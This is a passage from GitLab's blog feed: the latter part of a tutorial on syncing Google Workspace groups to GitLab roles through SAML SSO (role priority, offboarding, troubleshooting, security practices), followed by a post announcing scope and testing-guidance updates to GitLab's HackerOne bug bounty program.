current Google groups.</li></ul><h3 id="role-priority-and-combination">Role priority and combination</h3><p>When a user belongs to multiple Google Workspace groups:</p><ul><li>GitLab evaluates <strong>all</strong> the user&#39;s groups at each level of the hierarchy.</li><li>The user receives the <strong>highest role</strong> from any of their groups.</li><li>This calculation happens independently at each level (top-level group, subgroups, etc.).</li></ul><p><strong>Example</strong>:</p><ul><li>User in &quot;Developers&quot; (Developer role) + &quot;Tech-Leads&quot; (Maintainer role) → Gets <strong>Maintainer</strong></li></ul><h3 id="automatic-role-changes">Automatic role changes</h3><p>The system automatically handles membership changes:</p><ul><li><strong>User added to a Google group</strong>: Role upgraded on next login.</li><li><strong>User removed from a Google group</strong>: Role recalculated based on remaining groups on next login.</li><li><strong>User removed from all mapped groups</strong>: Reverts to default membership role on next login.</li><li><strong>User added to additional groups</strong>: Gets highest role from all groups on next login.</li></ul><h3 id="propagation-timing">Propagation timing</h3><p>Be aware of these timing considerations:</p><ul><li><strong>Google Workspace changes</strong>: Can take up to 24 hours to propagate, though usually take only a few minutes.</li><li><strong>GitLab sync</strong>: Happens immediately when the user logs in after Google changes are live.</li><li><strong>Testing</strong>: Have users log out and log back in to test permission changes.</li></ul><h2 id="understanding-user-lifecycle-and-edge-cases">Understanding user lifecycle and edge cases</h2><h3 id="what-happens-when-you-remove-a-user-from-gitlab">What happens when you remove a user from GitLab?</h3><p><strong>Removing permissions only:</strong> If you remove a user from GitLab projects but leave their account active and they&#39;re still in the authorized Google groups:</p><ul><li>They keep their same account (same user ID and username)</li><li>When they log in via SAML, their group memberships are automatically restored</li><li>They regain permissions based on their current Google group memberships</li></ul><p><strong>Blocking the account:</strong></p><ul><li>Account exists but is locked</li><li>User cannot log in even if in Google groups</li><li>Can be unblocked later, preserving all history</li></ul><p><strong>Deleting the account:</strong></p><ul><li>Account is permanently removed</li><li>If user logs in again (while still in Google groups), GitLab creates a <strong>completely new account</strong></li><li>New account has different user ID with no connection to the old one</li></ul><h3 id="proper-offboarding-process">Proper offboarding process</h3><p>To permanently revoke access, follow this order:</p><ol><li><strong>Remove from Google Workspace groups</strong> - Prevents authentication</li><li><strong>Block in GitLab</strong> - Prevents account recreation and preserves audit trails</li><li><strong>Delete account (optional)</strong> - Only if you&#39;re certain they won&#39;t return</li></ol><blockquote><p><strong>Critical</strong>: Removing a user only from GitLab without removing them from Google groups means they can simply log back in and regain access.</p></blockquote><h3 id="google-group-membership-propagation">Google group membership propagation</h3><p>According to <a href="https://support.google.com/a/answer/11143403" rel="">Google&#39;s documentation</a>, group membership changes can take up to 24 hours to propagate, though typically occur within minutes.</p><h3 id="account-recreation-scenarios">Account recreation scenarios</h3><table><thead><tr><th><strong>Scenario</strong></th><th><strong>User still in Google groups?</strong></th><th><strong>What happens on login</strong></th></tr></thead><tbody><tr><td>Permissions removed</td><td>Yes</td><td>Same account, group memberships restored</td></tr><tr><td>Account blocked</td><td>Yes</td><td>Login fails</td></tr><tr><td>Account deleted</td><td>Yes</td><td>New account created with new user ID</td></tr><tr><td>Removed from Google groups</td><td>No</td><td>Login fails at Google</td></tr></tbody></table><h2 id="troubleshooting-common-issues">Troubleshooting common issues</h2><p>Even with careful configuration, you might encounter issues. Here are solutions to the most common problems.</p><h3 id="users-not-being-added-to-groups">Users not being added to groups</h3><p><strong>Symptom</strong>: User successfully logs in via SAML but doesn&#39;t appear in any GitLab groups, or appears with only the default role.</p><p><strong>Possible causes and solutions</strong>:</p><ol><li><strong>Group names don&#39;t match exactly</strong><ul><li>Check spelling and capitalization in both Google Workspace and GitLab</li><li>Look for extra spaces before or after group names</li><li>Verify the exact name in Google Admin Console &gt; Directory &gt; Groups</li></ul></li><li><strong>User not actually in the Google group</strong><ul><li>Verify membership: Google Admin Console &gt; Directory &gt; Groups &gt; <span>Group</span> &gt; Members</li><li>Remember that nested group membership might not be included</li></ul></li><li><strong>Groups not configured in SAML app</strong><ul><li>Verify the groups are selected in Google SAML attribute mapping</li><li>Confirm &quot;App attribute&quot; is set to <code className="">groups</code> (lowercase)</li><li>Use &quot;Test SAML Login&quot; to inspect the SAML response</li></ul></li><li><strong>Timing or cache issue</strong><ul><li>Wait 24 hours for Google changes to fully propagate</li><li>Have the user log out of GitLab and Google completely</li><li>Clear browser cache and try again</li><li>User must log in via the SAML SSO URL, not regular GitLab login</li></ul></li></ol><h3 id="user-has-incorrect-role">User has incorrect role</h3><p><strong>Symptom</strong>: User has access but with the wrong permission level.</p><p><strong>Possible causes and solutions</strong>:</p><ol><li><strong>User belongs to multiple groups</strong><ul><li>Remember: Users get the <strong>highest</strong> role from all their groups</li><li>Check all Google groups the user belongs to</li><li>Review all SAML Group Link configurations at all levels</li></ul></li><li><strong>SAML Group Link misconfigured</strong><ul><li>Verify the Access Level setting in Settings &gt; SAML Group Links</li><li>Check for duplicate group mappings that might conflict</li></ul></li><li><strong>User hasn&#39;t logged in since changes</strong><ul><li>Roles only update when users log in via SAML</li><li>Have the user log out completely and log back in via the SSO URL</li></ul></li><li><strong>Inherited permissions from parent groups</strong><ul><li>Check SAML Group Links in parent groups</li><li>Remember that higher roles at parent levels flow down to children</li></ul></li></ol><h3 id="saml-authentication-fails-completely">SAML authentication fails completely</h3><p><strong>Symptom</strong>: Users cannot log in at all, or receive error messages during authentication.</p><p><strong>Possible causes and solutions</strong>:</p><ol><li><strong>Incorrect certificate fingerprint</strong><ul><li>Verify you used SHA-1 format, not SHA-256</li><li>Check the fingerprint has the correct format with colons</li><li>Regenerate using the online tool or OpenSSL command</li></ul></li><li><strong>Wrong SSO URL</strong><ul><li>Double-check the SSO URL copied from Google</li><li>Ensure there are no extra spaces or characters</li></ul></li><li><strong>ACS URL or Entity ID mismatch</strong><ul><li>Verify the ACS URL in Google Admin Console matches GitLab exactly</li><li>Confirm the Entity ID matches between both systems</li></ul></li><li><strong>User doesn&#39;t have app access</strong><ul><li>Check User Access settings in Google Admin Console</li><li>Verify the user&#39;s organizational unit has the app enabled</li><li>Confirm the app is &quot;ON&quot; for the appropriate users</li></ul></li><li><strong>Certificate expired</strong><ul><li>Check certificate validity dates</li><li>Download a fresh certificate if needed</li></ul></li></ol><h3 id="groups-attribute-missing-from-saml-response">Groups attribute missing from SAML response</h3><p><strong>Symptom</strong>: Users can log in but group synchronization doesn&#39;t work at all.</p><p><strong>Possible causes and solutions</strong>:</p><ol><li><strong>Groups not selected in Google configuration</strong><ul><li>Return to <strong>Google Admin &gt; Apps &gt; GitLab &gt; Attribute</strong> mapping</li><li>Verify groups are selected under &quot;Group membership&quot;</li><li>Confirm &quot;App attribute&quot; is exactly <code className="">groups</code> (lowercase)</li></ul></li><li><strong>User not in any configured groups</strong><ul><li>Only groups the user belongs to are sent in the SAML response</li><li>Add the user to at least one selected group to test</li></ul></li><li><strong>Configuration hasn&#39;t propagated</strong><ul><li>Wait up to 24 hours for changes to take effect</li><li>Try logging out of Google Admin Console and back in</li></ul></li><li><strong>Typo in app attribute name</strong><ul><li>The attribute name must be exactly <code className="">groups</code> (lowercase)</li><li>Even a capital letter or extra space will break functionality</li></ul></li></ol><h2 id="best-practices-for-managing-saml-group-sync">Best practices for managing SAML group sync</h2><p>Follow these recommendations to maintain a secure and efficient setup.</p><h3 id="security-best-practices">Security best practices</h3><ol><li><strong>Maintain emergency access</strong><ul><li>Keep at least one Owner account that uses password authentication (not SAML)</li><li>This provides emergency access if SAML configuration breaks</li><li>Store these credentials securely</li></ul></li><li><strong>Use least privilege principle</strong><ul><li>Set default membership to Minimal Access</li><li>Only grant higher permissions through explicit group mappings</li><li>Regularly review and audit group memberships</li></ul></li><li><strong>Enable enforcement options</strong><ul><li>Turn on &quot;Enforce SAML authentication&quot; options</li><li>This prevents users from bypassing SSO</li><li>Exceptions should be rare and well-documented</li></ul></li><li><strong>Regular security audits</strong><ul><li>Quarterly review of Google Workspace group memberships</li><li>Annual review of SAML Group Link mappings</li><li>Monitor GitLab audit logs for unusual access patterns</li></ul></li></ol><h2 id="summary-and-next-steps">Summary and next steps</h2><p>Congratulations! You&#39;ve successfully configured SAML SSO and automatic group synchronization between Google Workspace and GitLab. Your setup now provides:</p><ul><li><strong>Seamless authentication</strong> - Users sign in with their familiar Google Workspace credentials.</li><li><strong>Automatic provisioning</strong> - User accounts are created on first login without manual intervention.</li><li><strong>Dynamic permissions</strong> - Group memberships and roles update automatically based on Google Workspace groups.</li><li><strong>Centralized access control</strong> - Manage all access through your existing Google Workspace groups.</li><li><strong>Enhanced security</strong> - Leverage Google&#39;s authentication infrastructure and enforce consistent policies.</li><li><strong>Reduced administrative overhead</strong> - Eliminate manual user and permission management in GitLab.</li></ul><h3 id="what-happens-now">What happens now</h3><p>When users access GitLab:</p><ol><li>They navigate to your GitLab SSO URL.</li><li>Authenticate using their Google Workspace credentials.</li><li>Get automatically added to appropriate GitLab groups.</li><li>Receive permissions based on their Google group memberships.</li><li>Their permissions update every time they sign in.</li></ol><h3 id="additional-resources">Additional resources</h3><ul><li><a href="https://docs.gitlab.com/ee/user/group/saml_sso/" rel="">GitLab SAML SSO Documentation</a></li><li><a href="https://docs.gitlab.com/ee/user/group/saml_sso/group_sync.html" rel="">GitLab SAML Group Sync Documentation</a></li><li><a href="https://support.google.com/a/answer/6087519" rel="">Google Workspace SAML App Setup</a></li><li><a href="https://www.samltool.com/fingerprint.php" rel="">SAML Certificate Fingerprint Tool</a></li></ul><h2 id="related-article">Related article</h2><ul><li><a href="https://about.gitlab.com/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id/" rel="">How-to: GitLab Single Sign-on with SAML, SCIM, and Azure&#39;s Entra ID</a></li></ul><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Omid Khan</name>
            <uri>https://about.gitlab.com/blog/authors/omid-khan/</uri>
        </author>
        <published>2026-01-27T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Bug Bounty Program policy updates]]></title>
        <id>https://about.gitlab.com/blog/gitlab-bug-bounty-program-policy-updates/</id>
        <link href="https://about.gitlab.com/blog/gitlab-bug-bounty-program-policy-updates/"/>
        <updated>2026-01-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab <a href="https://about.gitlab.com/blog/gitlab-hackerone-bug-bounty-program-is-public-today/" rel="">first introduced our HackerOne Bug Bounty program</a> in 2018. Since then, we’ve worked with the researcher community to help secure our comprehensive AI-powered DevSecOps platform. We&#39;re excited to announce policy updates to the program that reflect our commitment to transparency, feedback from researchers, and our ongoing efforts to provide clear expectations and streamlined processes.</p><h2 id="whats-changing">What&#39;s changing</h2><p>Here is what you need to know:</p><h3 id="enhanced-testing-guidance">Enhanced testing guidance</h3><p>We&#39;re placing stronger emphasis on local testing environments to protect both researchers and our production infrastructure. We&#39;re <strong>strongly recommending local <a href="https://gitlab-org.gitlab.io/gitlab-development-kit/" rel="">GitLab Development Kit (GDK)</a> testing</strong> for most security research. The GDK gives you access to cutting-edge features before public release and the freedom to experiment without production infrastructure concerns.</p><p>If you need to demonstrate denial-of-service (DoS) impact, we recommend testing on a self-managed GitLab instance with specifications and resources equal to or greater than the <a href="https://docs.gitlab.com/install/requirements/" rel="">self-managed GitLab installation requirements</a>.</p><p>For vulnerabilities requiring GitLab.com production architecture, you must use test accounts created with your HackerOne email alias: <code className="">yourhandle@wearehackerone.com</code>.</p><h3 id="refined-scope-for-better-focus">Refined scope for better focus</h3><p>We&#39;ve clarified several scope areas based on community feedback:</p><p><strong>DoS is out of scope:</strong> Exceptions may be considered for application layer DoS vulnerabilities that achieve persistent total service disruption AND can be executed through unauthenticated endpoints. Some examples include ReDoS, logic bombs, etc.</p><p><strong>Prompt injection:</strong> Standalone prompt injection is out of scope, but prompt injection may be eligible if it serves as an initial vector to achieve harm beyond its security boundary.</p><p><strong>Metadata and enumeration</strong>: General information gathering remains out of scope while privacy breaches exposing confidential data are in scope. We&#39;ve provided new, detailed examples distinguishing between these two types of issues on the <a href="https://hackerone.com/gitlab" rel="">program policy page</a>.</p><h2 id="transition-period-for-researchers">Transition period for researchers</h2><p>We recognize that policy changes can create uncertainty for researchers with active investigations. To maintain trust during this transition and avoid disrupting valuable research already under way:</p><ul><li>GitLab is offering a 7-day grace period for DoS reports submitted before <strong>2026-01-22, 9:00 p.m. Pacific Time (2026-01-23T00:05:00Z).</strong> Reports submitted before then will be evaluated under our previous policy.</li></ul><p>Your investment in GitLab&#39;s security matters to us, and we&#39;re committed to honoring the policy under which you began your research.</p><h2 id="our-commitment-to-the-community">Our commitment to the community</h2><p>These changes reflect our deep commitment to the researcher community through three key principles.</p><p>1. We&#39;re prioritizing transparency by establishing clearer boundaries and objective criteria that reduce ambiguity and prevent disputes.</p><p>2. We&#39;re enhancing safety through improved testing platform guidance that protects both production systems and researchers from accidental service disruption.</p><p>3. We&#39;re ensuring fairness through consistent evaluation standards and provisions that guarantee equitable treatment for all researchers, including those already in the program.</p><p>Scope refinements also support program sustainability by focusing resources on high-impact security issues while maintaining broad coverage.</p><h2 id="get-started">Get started</h2><p>Ready to contribute to GitLab&#39;s security?</p><ul><li><strong>New researchers:</strong> Visit our <a href="https://hackerone.com/gitlab" rel="">HackerOne program page</a>.</li><li><strong>Set up local testing:</strong> Download the <a href="https://gitlab.com/gitlab-org/gitlab-development-kit" rel="">GitLab Development Kit</a>.</li><li><strong>Review full policy:</strong> <a href="https://hackerone.com/gitlab" rel="">Check our complete documentation for detailed guidelines</a>.</li><li><strong>Understand severity assessment:</strong> Explore our <a href="https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/" rel="">CVSS calculator</a>.</li></ul><p>We&#39;re grateful for the security research community&#39;s ongoing partnership in keeping GitLab secure. Your expertise and dedication make a real difference for millions of users worldwide.</p><hr /><p><em>Questions about these changes? Reach out to our team by <a href="https://gitlab.com/gitlab-com/gl-security/product-security/appsec/hackerone-questions/-/issues/new" rel="">creating an issue</a> in our HackerOne questions project on GitLab.</em></p>]]></content>
        <author>
            <name>Kayla Hagopian</name>
            <uri>https://about.gitlab.com/blog/authors/kayla-hagopian/</uri>
        </author>
        <published>2026-01-20T00:00:00.000Z</published>
    </entry>
</feed>